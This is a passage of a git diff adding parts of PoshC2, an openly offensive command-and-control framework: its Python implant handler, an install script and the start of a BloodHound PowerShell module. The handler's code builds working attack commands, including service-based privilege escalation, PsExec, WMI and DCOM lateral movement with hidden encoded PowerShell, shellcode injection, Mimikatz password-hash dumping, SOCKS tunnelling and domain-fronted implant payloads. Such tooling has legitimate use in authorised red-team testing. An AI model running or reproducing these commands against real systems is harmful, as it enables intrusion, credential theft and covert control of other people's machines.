'cmd /c %s' Displayname= CheckpointServiceModule start= auto" % payload + new_task(cmd, randomuri) + cmd = "sc.exe start CPUpdaterMisc" + new_task(cmd, randomuri) + cmd = "sc.exe delete CPUpdaterMisc" + new_task(cmd, randomuri) + + elif "get-system" in command.lower(): + C2 = get_c2server_all() + newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "", + "", "", "", "", C2[19], C2[20], + C2[21], get_newimplanturl(), PayloadsDirectory) + payload = newPayload.CreateRawBase() + cmd = "sc.exe create CPUpdaterMisc binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceModule start= auto" % payload + new_task(cmd, randomuri) + cmd = "sc.exe start CPUpdaterMisc" + new_task(cmd, randomuri) + cmd = "sc.exe delete CPUpdaterMisc" + new_task(cmd, randomuri) + + elif "quit" in command.lower(): + ri = raw_input("Are you sure you want to quit? (Y/n) ") + if ri.lower() == "n": + startup() + if ri == "": + sys.exit(0) + if ri.lower() == "y": + sys.exit(0) + + elif "invoke-psexecproxypayload" in command.lower(): + check_module_loaded("Invoke-PsExec.ps1", randomuri) + C2 = get_c2server_all() + if C2[11] == "": + startup("Need to run createproxypayload first") + else: + newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12], + C2[13], C2[11], "", "", C2[19], C2[20], + C2[21], "%s?p" % get_newimplanturl(), PayloadsDirectory) + payload = newPayload.CreateRawBase() + params = re.compile("invoke-psexecproxypayload ", re.IGNORECASE) + params = params.sub("", command) + cmd = "invoke-psexec %s -command \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % (params,payload) + new_task(cmd, randomuri) + + elif "invoke-psexecdaisypayload" in command.lower(): + check_module_loaded("Invoke-PsExec.ps1", randomuri) + daisyname = raw_input("Payload name required: ") + if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory,daisyname))): + with open("%s%spayload.bat" % (PayloadsDirectory,daisyname), "r") as p: payload = p.read() + params = re.compile("invoke-psexecdaisypayload ", re.IGNORECASE) + params = params.sub("", command) + cmd = "invoke-psexec %s -command \"%s\"" % (params,payload) + new_task(cmd, randomuri) + else: + startup("Need to run createdaisypayload first") + + elif "invoke-psexecpayload" in command.lower(): + check_module_loaded("Invoke-PsExec.ps1", randomuri) + C2 = get_c2server_all() + newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "", + "", "", "", "", C2[19], C2[20], + C2[21], get_newimplanturl(), PayloadsDirectory) + payload = newPayload.CreateRawBase() + params = re.compile("invoke-psexecpayload ", re.IGNORECASE) + params = params.sub("", command) + cmd = "invoke-psexec %s -command \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % (params,payload) + new_task(cmd, randomuri) + + # wmi lateral movement + + elif "invoke-wmiproxypayload" in command.lower(): + check_module_loaded("Invoke-WMIExec.ps1", randomuri) + C2 = get_c2server_all() + if C2[11] == "": + startup("Need to run createproxypayload first") + else: + newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12], + C2[13], C2[11], "", "", C2[19], C2[20], + C2[21], "%s?p" % get_newimplanturl(), PayloadsDirectory) + payload = newPayload.CreateRawBase() + params = re.compile("invoke-wmiproxypayload ", re.IGNORECASE) + params = params.sub("", command) + cmd = "invoke-wmiexec %s -command \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % (params,payload) + new_task(cmd, randomuri) + + elif "invoke-wmidaisypayload" in command.lower(): + check_module_loaded("Invoke-WMIExec.ps1", randomuri) + daisyname = raw_input("Name required: ") + if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory,daisyname))): + with open("%s%spayload.bat" % (PayloadsDirectory,daisyname), "r") as p: payload = p.read() + params = re.compile("invoke-wmidaisypayload ", re.IGNORECASE) + params = params.sub("", command) + cmd = "invoke-wmiexec %s -command \"%s\"" % (params,payload) + new_task(cmd, randomuri) + else: + startup("Need to run createdaisypayload first") + + elif "invoke-wmipayload" in command.lower(): + check_module_loaded("Invoke-WMIExec.ps1", randomuri) + C2 = get_c2server_all() + newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "", + "", "", "", "", C2[19], C2[20], + C2[21], get_newimplanturl(), PayloadsDirectory) + payload = newPayload.CreateRawBase() + params = re.compile("invoke-wmipayload ", re.IGNORECASE) + params = params.sub("", command) + cmd = "invoke-wmiexec %s -command \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % (params,payload) + new_task(cmd, randomuri) + + # dcom lateral movement + + elif "invoke-dcomproxypayload" in command.lower(): + C2 = get_c2server_all() + newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12], + C2[13], C2[11], "", "", C2[19], C2[20], + C2[21], "%s?p" % get_newimplanturl(), PayloadsDirectory) + payload = newPayload.CreateRawBase() + p = re.compile(ur'(?<=-target.).*') + target = re.search(p, command).group() + pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\Windows\System32\cmd.exe\",$null,\"/c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\",\"7\")" % (target,payload) + new_task(pscommand, randomuri) + + elif "invoke-dcomdaisypayload" in command.lower(): + daisyname = raw_input("Name required: ") + if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory,daisyname))): + with open("%s%spayload.bat" % (PayloadsDirectory,daisyname), "r") as p: payload = p.read() + p = re.compile(ur'(?<=-target.).*') + target = re.search(p, command).group() + pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\Windows\System32\cmd.exe\",$null,\"/c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\",\"7\")" % (target,payload) + new_task(pscommand, randomuri) + else: + startup("Need to run createdaisypayload first") + + elif "invoke-dcompayload" in command.lower(): + C2 = get_c2server_all() + newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "", + "", "", "", "", C2[19], C2[20], + C2[21], get_newimplanturl(), PayloadsDirectory) + payload = newPayload.CreateRawBase() + p = re.compile(ur'(?<=-target.).*') + target = re.search(p, command).group() + pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\Windows\System32\cmd.exe\",$null,\"/c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\",\"7\")" % (target,payload) + new_task(pscommand, randomuri) + + # runas payloads + + elif "invoke-runasdaisypayload" in command.lower(): + daisyname = raw_input("Name required: ") + if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory,daisyname))): + with open("%s%spayload.bat" % (PayloadsDirectory,daisyname), "r") as p: payload = p.read() + new_task("$proxypayload = \"%s\"" % payload, randomuri) + check_module_loaded("Invoke-RunAs.ps1", randomuri) + check_module_loaded("NamedPipeDaisy.ps1", randomuri) + params = re.compile("invoke-runasdaisypayload ", re.IGNORECASE) + params = params.sub("", command) + pipe = "add-Type -assembly System.Core; $pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMSDaisy'); $pi.Connect(); $pr = new-object System.IO.StreamReader($pi); iex $pr.ReadLine();" + pscommand = "invoke-runas %s -command C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -Args \" -e %s\"" % (params,base64.b64encode(pipe.encode('UTF-16LE'))) + new_task(pscommand, randomuri) + else: + startup("Need to run createdaisypayload first") + + elif "invoke-runasproxypayload" in command.lower(): + C2 = get_c2server_all() + if C2[11] == "": + startup("Need to run createproxypayload first") + else: + newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12], + C2[13], C2[11], "", "", C2[19], C2[20], + C2[21], "%s?p" % get_newimplanturl(), PayloadsDirectory) + payload = newPayload.CreateRawBase() + proxyvar = "$proxypayload = \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % payload + new_task(proxyvar, randomuri) + check_module_loaded("Invoke-RunAs.ps1", randomuri) + check_module_loaded("NamedPipeProxy.ps1", randomuri) + params = re.compile("invoke-runasproxypayload ", re.IGNORECASE) + params = params.sub("", command) + pipe = "add-Type -assembly System.Core; $pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMSProxy'); $pi.Connect(); $pr = new-object System.IO.StreamReader($pi); iex $pr.ReadLine();" + pscommand = "invoke-runas %s -command C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -Args \" -e %s\"" % (params,base64.b64encode(pipe.encode('UTF-16LE'))) + new_task(pscommand, randomuri) + + elif "invoke-runaspayload" in command.lower(): + check_module_loaded("Invoke-RunAs.ps1", randomuri) + check_module_loaded("NamedPipe.ps1", randomuri) + params = re.compile("invoke-runaspayload ", re.IGNORECASE) + params = params.sub("", command) + pipe = "add-Type -assembly System.Core; $pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMS'); $pi.Connect(); $pr = new-object System.IO.StreamReader($pi); iex $pr.ReadLine();" + pscommand = "invoke-runas %s -command C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -Args \" -e %s\"" % (params,base64.b64encode(pipe.encode('UTF-16LE'))) + new_task(pscommand, randomuri) + + elif command.lower() == "help" or command == "?" or command.lower() == "help ": + print posh_help + elif command.lower() == "help 1": + print posh_help1 + elif command.lower() == "help 2": + print posh_help2 + elif command.lower() == "help 3": + print posh_help3 + elif command.lower() == "help 4": + print posh_help4 + elif command.lower() == "help 5": + print posh_help5 + elif command.lower() == "help 6": + print posh_help6 + elif command.lower() == "help 7": + print posh_help7 + elif command.lower() == "help 8": + print posh_help8 + + + elif "get-pid" in command.lower(): + pid = get_implantdetails(randomuri) + print pid[8] + + elif "upload-file" in command.lower(): + source = "" + destination = "" + s = "" + args = argp(command) + try: + if args: + with open(args.source, "rb") as source_file: + s = source_file.read() + source = base64.b64encode(s) + if s: + destination = (args.destination).replace("\\","\\\\") + uploadcommand = "Upload-File -Destination \"%s\" -Base64 %s" % (args.destination, source) + new_task(uploadcommand, randomuri) + except Exception as e: + print "Error with source file: %s" % e + traceback.print_exc() + + elif "kill-implant" in command.lower() or "exit" in command.lower(): + impid = get_implantdetails(randomuri) + ri = raw_input("Are you sure you want to terminate the implant ID %s? (Y/n) " % impid[0]) + if ri.lower() == "n": + print "Implant not terminated" + if ri == "": + new_task("exit", randomuri) + kill_implant(randomuri) + if ri.lower() == "y": + new_task("exit", randomuri) + kill_implant(randomuri) + + elif "unhide-implant" in command.lower(): + unhide_implant(randomuri) + + elif "hide-implant" in command.lower(): + kill_implant(randomuri) + + elif "migrate" in command.lower(): + params = re.compile("migrate", re.IGNORECASE) + params = params.sub("", command) + migrate(randomuri, params) + + elif "loadmoduleforce" in command.lower(): + params = re.compile("loadmoduleforce ", re.IGNORECASE) + params = params.sub("", command) + check_module_loaded(params, randomuri, force=True) + + elif "loadmodule" in command.lower(): + params = re.compile("loadmodule ", re.IGNORECASE) + params = params.sub("", command) + check_module_loaded(params, randomuri) + + elif "invoke-daisychain" in command.lower(): + check_module_loaded("Invoke-DaisyChain.ps1", randomuri) + urls = get_allurls() + new_task("%s -URLs '%s'" % (command,urls), randomuri) + print "Now use createdaisypayload" + + elif "inject-shellcode" in command.lower(): + #elif (command.lower() == "inject-shellcode") or (command.lower() == "inject-shellcode "): + params = re.compile("inject-shellcode", re.IGNORECASE) + params = params.sub("", command) + check_module_loaded("Inject-Shellcode.ps1", randomuri) + readline.set_completer(filecomplete) + path = raw_input("Location of shellcode file: ") + t = tabCompleter() + t.createListCompleter(COMMANDS) + readline.set_completer(t.listCompleter) + try: + shellcodefile = load_file(path) + if shellcodefile != None: + arch = "64" + new_task("$Shellcode%s=\"%s\"" % (arch,base64.b64encode(shellcodefile)), randomuri) + new_task("Inject-Shellcode -Shellcode ([System.Convert]::FromBase64String($Shellcode%s))%s" % (arch, params), randomuri) + except Exception as e: + print "Error loading file: %s" % e + + elif "searchhelp" in command.lower(): + searchterm = (command.lower()).replace("searchhelp ","") + import string + helpfull = string.split(posh_help, '\n') + for line in helpfull: + if searchterm in line: + print line + + elif "listmodules" in command.lower(): + print os.listdir("%s/Modules/" % POSHDIR) + + elif "modulesloaded" in command.lower(): + ml = get_implantdetails(randomuri) + print ml[14] + + elif (command.lower() == "ps") or (command.lower() == "ps "): + new_task("get-processfull", randomuri) + + elif (command.lower() == "hashdump") or (command.lower() == "hashdump "): + check_module_loaded("Invoke-Mimikatz.ps1", randomuri) + new_task("Invoke-Mimikatz -Command '\"lsadump::sam\"'", randomuri) + + elif (command.lower() == "sharpsocks") or (command.lower() == "sharpsocks "): + check_module_loaded("SharpSocks.ps1", randomuri) + import string + from random import choice + allchar = string.ascii_letters + channel = "".join(choice(allchar) for x in range(25)) + sharpkey = gen_key() + sharpurls = get_sharpurls() + sharpurl = select_item("HostnameIP", "C2Server") + new_task("Sharpsocks -Client -Uri %s -Channel %s -Key %s -URLs %s -Insecure -Beacon 2000" % (sharpurl,channel,sharpkey,sharpurls), randomuri) + print "git clone https://github.com/nettitude/SharpSocks.git" + print "SharpSocksServerTestApp.exe -c %s -k %s -l http://IPADDRESS:8080" % (channel,sharpkey) + + elif (command.lower() == "history") or command.lower() == "history ": + startup(get_history()) + + elif "reversedns" in command.lower(): + params = re.compile("reversedns ", re.IGNORECASE) + params = params.sub("", command) + new_task("[System.Net.Dns]::GetHostEntry(\"%s\")" % params, randomuri) + + elif "createdaisypayload" in command.lower(): + name = raw_input("Daisy name: e.g. DC1 ") + daisyurl = raw_input("Daisy host: .e.g. http://10.150.10.1 ") + daisyport = raw_input("Daisy port: .e.g. 8888 ") + daisyhostid = raw_input("Select Daisy Implant Host: e.g. 5 ") + daisyhost = get_implantbyid(daisyhostid) + proxynone = "if (!$proxyurl){$wc.Proxy = [System.Net.GlobalProxySelection]::GetEmptyWebProxy()}" + + C2 = get_c2server_all() + newPayload = Payloads(C2[5], C2[2], daisyurl, "", daisyport, "", "", "", + "", proxynone, C2[19], C2[20], + C2[21], "%s?d" % get_newimplanturl(), PayloadsDirectory) + newPayload.C2Core = (newPayload.C2Core).replace("$pid;%s" % (daisyurl+":"+daisyport),"$pid;%s@%s" % (daisyhost[11],daisyhost[3])) + newPayload.CreateRaw(name) + newPayload.CreateDlls(name) + newPayload.CreateShellcode(name) + newPayload.CreateEXE(name) + startup("Created new %s daisy payloads" % name) + + elif "createproxypayload" in command.lower(): + proxyuser = raw_input("Proxy User: e.g. Domain\\user ") + proxypass = raw_input("Proxy Password: e.g. Password1 ") + proxyurl = raw_input("Proxy URL: .e.g. http://10.150.10.1:8080 ") + update_item("ProxyURL", "C2Server", proxyurl) + update_item("ProxyUser", "C2Server", proxyuser) + update_item("ProxyPass", "C2Server", proxypass) + C2 = get_c2server_all() + newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12], + C2[13], C2[11], "", "", C2[19], C2[20], + C2[21], "%s?p" % get_newimplanturl(), PayloadsDirectory) + + newPayload.CreateRaw("Proxy") + newPayload.CreateDlls("Proxy") + newPayload.CreateShellcode("Proxy") + newPayload.CreateEXE("Proxy") + startup("Created new proxy payloads") + + elif "createnewpayload" in command.lower(): + domain = raw_input("Domain or URL: https://www.example.com ") + domainbase = (domain.lower()).replace('https://','') + domainbase = domainbase.replace('http://','') + domainfront = raw_input("Domain front URL: e.g. fjdsklfjdskl.cloudfront.net ") + proxyuser = raw_input("Proxy User: e.g. Domain\\user ") + proxypass = raw_input("Proxy Password: e.g. Password1 ") + proxyurl = raw_input("Proxy URL: .e.g. http://10.150.10.1:8080 ") + if proxyurl: + imurl = "%s?p" % get_newimplanturl() + else: + imurl = get_newimplanturl() + C2 = get_c2server_all() + newPayload = Payloads(C2[5], C2[2], domain, domainfront, C2[8], proxyuser, + proxypass, proxyurl, "", "", C2[19], C2[20], + C2[21], imurl, PayloadsDirectory) + + newPayload.CreateRaw("%s_" % domainbase) + newPayload.CreateDlls("%s_" % domainbase) + newPayload.CreateShellcode("%s_" % domainbase) + newPayload.CreateEXE("%s_" % domainbase) + startup("Created new payloads") + else: + if command: + new_task(command, randomuri) + return + return + +def commandloop(implant_id): + while(True): + try: + implant_id_orig = implant_id + t = tabCompleter() + t.createListCompleter(COMMANDS) + readline.set_completer_delims('\t') + readline.parse_and_bind("tab: complete") + readline.set_completer(t.listCompleter) + if ("-" in implant_id.lower()) or ("all" in implant_id.lower()) or ("," in implant_id.lower()): + print Colours.GREEN + command = raw_input("%s> " % (implant_id)) + else: + hostname = get_hostdetails(implant_id) + print Colours.GREEN + print "%s @ %s (PID:%s)" % (hostname[11],hostname[3],hostname[8]) + command = raw_input("%s> " % (implant_id)) + + # if "all" run through all implants get_implants() + if implant_id.lower() == "all": + if command == "back": + startup() + implant_split = get_implants() + if implant_split: + for implant_id in implant_split: + runcommand(command, implant_id[1]) + # if "seperated list" against single uri + elif "," in implant_id: + implant_split = implant_id.split(",") + for implant_id in implant_split: + implant_id = get_randomuri(implant_id) + runcommand(command, implant_id) + # if "range" against single uri + elif "-" in implant_id: + implant_split = implant_id.split("-") + for implant_id in range(int(implant_split[0]), int(implant_split[1])+1): + try: + implant_id = get_randomuri(implant_id) + runcommand(command, implant_id) + except Exception as e: + print "Unknown ImplantID" + # else run against single uri + else: + implant_id = get_randomuri(implant_id) + runcommand(command, implant_id) + + # then run back around + commandloop(implant_id_orig) + + except Exception as e: + print Colours.RED + print "Error running against the selected implant ID, ensure you have typed the correct information" + #print Colours.END + #traceback.print_exc() + #print "Error: %s" % e + # remove the following comment when publishing to live + time.sleep(1) + startup() + +if __name__ == '__main__': + original_sigint = signal.getsignal(signal.SIGINT) + signal.signal(signal.SIGINT, catch_exit) + startup() diff --git a/Install.sh b/Install.sh new file mode 100755 index 0000000..7a22e17 --- /dev/null +++ b/Install.sh @@ -0,0 +1,71 @@ +#!/bin/sh + +# Install PoshC2 +echo "" + +echo """__________ .__. _________ ________ + \_______ \____ _____| |__ \_ ___ \ \_____ \ + | ___/ _ \/ ___/ | \ / \ \/ / ____/ + | | ( <_> )___ \| Y \ \ \____/ \ + |____| \____/____ >___| / \______ /\_______ \ + \/ \/ \/ \/ + =============== v4.0 www.PoshC2.co.uk =============""" + +echo "" +echo "[+] Installing PoshC2" +echo "" + +# Update apt +echo "[+] Performing apt-get update" +apt-get update + +# Check if /opt/ exists, else create folder opt +if [ ! -d /opt/ ]; then + echo "" + echo "[+] Creating folder in /opt/" + mkdir /opt/ +fi + +# Install requirements for PoshC2_Python +echo "" +echo "[+] Installing git & cloning PoshC2_Python into /opt/PoshC2_Python/" +apt-get install -y git +git clone https://github.com/nettitude/PoshC2_Python /opt/PoshC2_Python/ + +# Install requirements for PoshC2_Python +echo "" +echo "[+] Installing requirements using apt" +apt-get install -y screen python-setuptools python-dev build-essential python-pip mingw-w64-tools mingw-w64 mingw-w64-x86-64-dev mingw-w64-i686-dev mingw-w64-common espeak graphviz + +# Check if PIP is installed, if not install it +if [! which pip > /dev/null]; then + echo "[+] Installing pip as this was not found" + wget https://bootstrap.pypa.io/get-pip.py + python get-pip.py +fi + +# Run pip with requirements file +echo "" +echo "[+] Installing requirements using pip" +echo "[+] python -m pip install -r /opt/PoshC2_Python/requirements.txt" +echo "" +pip install --upgrade pip +python -m pip install -r /opt/PoshC2_Python/requirements.txt + +echo "" +echo "[+] Setup complete" +echo "" +echo """__________ .__. _________ ________ + \_______ \____ _____| |__ \_ ___ \ \_____ \ + | ___/ _ \/ ___/ | \ / \ \/ / ____/ + | | ( <_> )___ \| Y \ \ \____/ \ + |____| \____/____ >___| / \______ /\_______ \ + \/ \/ \/ \/ + =============== v4.0 www.PoshC2.co.uk =============""" +echo "" +echo "EDIT the config file: '/opt/PoshC2_Python/Config.py'" +echo "" +echo "sudo python /opt/PoshC2_Python/C2Server.py" +echo "sudo python /opt/PoshC2_Python/ImplantHandler.py" +echo "" +echo "To install via systemctl read poshc2.service" \ No newline at end of file diff --git a/LICENSE b/LICENSE index c6cf6c8..6663e44 100644 --- a/LICENSE +++ b/LICENSE @@ -1,6 +1,7 @@ BSD 3-Clause License Copyright (c) 2018, Nettitude + All rights reserved. Redistribution and use in source and binary forms, with or without @@ -26,4 +27,4 @@ DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/Modules/BloodHound.ps1 b/Modules/BloodHound.ps1 new file mode 100644 index 0000000..6897298 --- /dev/null +++ b/Modules/BloodHound.ps1 @@ -0,0 +1,6319 @@ +#requires -version 2 + +<# + + File: BloodHound.ps1 + Author: Will Schroeder (@harmj0y) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +#> + +######################################################## +# +# PSReflect code for Windows API access +# Author: @mattifestation +# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1 +# +######################################################## + +function New-InMemoryModule +{ +<# + .SYNOPSIS + + Creates an in-memory assembly and module + + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .DESCRIPTION + + When defining custom enums, structs, and unmanaged functions, it is + necessary to associate to an assembly module. This helper function + creates an in-memory module that can be passed to the 'enum', + 'struct', and Add-Win32Type functions. + + .PARAMETER ModuleName + + Specifies the desired name for the in-memory assembly and module. If + ModuleName is not provided, it will default to a GUID. + + .EXAMPLE + + $Module = New-InMemoryModule -ModuleName Win32 +#> + + Param + ( + [Parameter(Position = 0)] + [ValidateNotNullOrEmpty()] + [String] + $ModuleName = [Guid]::NewGuid().ToString() + ) + + $LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies() + + ForEach ($Assembly in $LoadedAssemblies) { + if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { + return $Assembly + } + } + + $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) + $Domain = [AppDomain]::CurrentDomain + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) + + return $ModuleBuilder +} + + +# A helper function used to reduce typing while defining function +# prototypes for Add-Win32Type. +function func +{ + Param + ( + [Parameter(Position = 0, Mandatory = $True)] + [String] + $DllName, + + [Parameter(Position = 1, Mandatory = $True)] + [String] + $FunctionName, + + [Parameter(Position = 2, Mandatory = $True)] + [Type] + $ReturnType, + + [Parameter(Position = 3)] + [Type[]] + $ParameterTypes, + + [Parameter(Position = 4)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention, + + [Parameter(Position = 5)] + [Runtime.InteropServices.CharSet] + $Charset, + + [Switch] + $SetLastError + ) + + $Properties = @{ + DllName = $DllName + FunctionName = $FunctionName + ReturnType = $ReturnType + } + + if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } + if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } + if ($Charset) { $Properties['Charset'] = $Charset } + if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } + + New-Object PSObject -Property $Properties +} + + +function Add-Win32Type +{ +<# + .SYNOPSIS + + Creates a .NET type for an unmanaged Win32 function. + + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: func + + .DESCRIPTION + + Add-Win32Type enables you to easily interact with unmanaged (i.e. + Win32 unmanaged) functions in PowerShell. After providing + Add-Win32Type with a function signature, a .NET type is created + using reflection (i.e. csc.exe is never called like with Add-Type). + + The 'func' helper function can be used to reduce typing when defining + multiple function definitions. + + .PARAMETER DllName + + The name of the DLL. + + .PARAMETER FunctionName + + The name of the target function. + + .PARAMETER ReturnType + + The return type of the function. + + .PARAMETER ParameterTypes + + The function parameters. + + .PARAMETER NativeCallingConvention + + Specifies the native calling convention of the function. Defaults to + stdcall. + + .PARAMETER Charset + + If you need to explicitly call an 'A' or 'W' Win32 function, you can + specify the character set. + + .PARAMETER SetLastError + + Indicates whether the callee calls the SetLastError Win32 API + function before returning from the attributed method. + + .PARAMETER Module + + The in-memory module that will host the functions. Use + New-InMemoryModule to define an in-memory module. + + .PARAMETER Namespace + + An optional namespace to prepend to the type. Add-Win32Type defaults + to a namespace consisting only of the name of the DLL. + + .EXAMPLE + + $Mod = New-InMemoryModule -ModuleName Win32 + + $FunctionDefinitions = @( + (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), + (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), + (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) + ) + + $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' + $Kernel32 = $Types['kernel32'] + $Ntdll = $Types['ntdll'] + $Ntdll::RtlGetCurrentPeb() + $ntdllbase = $Kernel32::GetModuleHandle('ntdll') + $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') + + .NOTES + + Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 + + When defining multiple function prototypes, it is ideal to provide + Add-Win32Type with an array of function signatures. That way, they + are all incorporated into the same in-memory module. +#> + + [OutputType([Hashtable])] + Param( + [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [String] + $DllName, + + [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [String] + $FunctionName, + + [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [Type] + $ReturnType, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Type[]] + $ParameterTypes, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Runtime.InteropServices.CharSet] + $Charset = [Runtime.InteropServices.CharSet]::Auto, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Switch] + $SetLastError, + + [Parameter(Mandatory = $True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [ValidateNotNull()] + [String] + $Namespace = '' + ) + + BEGIN + { + $TypeHash = @{} + } + + PROCESS + { + if ($Module -is [Reflection.Assembly]) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") + } + else + { + $TypeHash[$DllName] = $Module.GetType($DllName) + } + } + else + { + # Define one type for each DLL + if (!$TypeHash.ContainsKey($DllName)) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') + } + else + { + $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') + } + } + + $Method = $TypeHash[$DllName].DefineMethod( + $FunctionName, + 'Public,Static,PinvokeImpl', + $ReturnType, + $ParameterTypes) + + # Make each ByRef parameter an Out parameter + $i = 1 + ForEach($Parameter in $ParameterTypes) + { + if ($Parameter.IsByRef) + { + [void] $Method.DefineParameter($i, 'Out', $Null) + } + + $i++ + } + + $DllImport = [Runtime.InteropServices.DllImportAttribute] + $SetLastErrorField = $DllImport.GetField('SetLastError') + $CallingConventionField = $DllImport.GetField('CallingConvention') + $CharsetField = $DllImport.GetField('CharSet') + if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } + + # Equivalent to C# version of [DllImport(DllName)] + $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) + $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, + $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), + [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField), + [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset))) + + $Method.SetCustomAttribute($DllImportAttribute) + } + } + + END + { + if ($Module -is [Reflection.Assembly]) + { + return $TypeHash + } + + $ReturnTypes = @{} + + ForEach ($Key in $TypeHash.Keys) + { + $Type = $TypeHash[$Key].CreateType() + + $ReturnTypes[$Key] = $Type + } + + return $ReturnTypes + } +} + + +function psenum +{ +<# + .SYNOPSIS + + Creates an in-memory enumeration for use in your PowerShell session. + + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .DESCRIPTION + + The 'psenum' function facilitates the creation of enums entirely in + memory using as close to a "C style" as PowerShell will allow. + + .PARAMETER Module + + The in-memory module that will host the enum. Use + New-InMemoryModule to define an in-memory module. + + .PARAMETER FullName + + The fully-qualified name of the enum. + + .PARAMETER Type + + The type of each enum element. + + .PARAMETER EnumElements + + A hashtable of enum elements. + + .PARAMETER Bitfield + + Specifies that the enum should be treated as a bitfield. + + .EXAMPLE + + $Mod = New-InMemoryModule -ModuleName Win32 + + $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ + UNKNOWN = 0 + NATIVE = 1 # Image doesn't require a subsystem. + WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. + WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. + OS2_CUI = 5 # Image runs in the OS/2 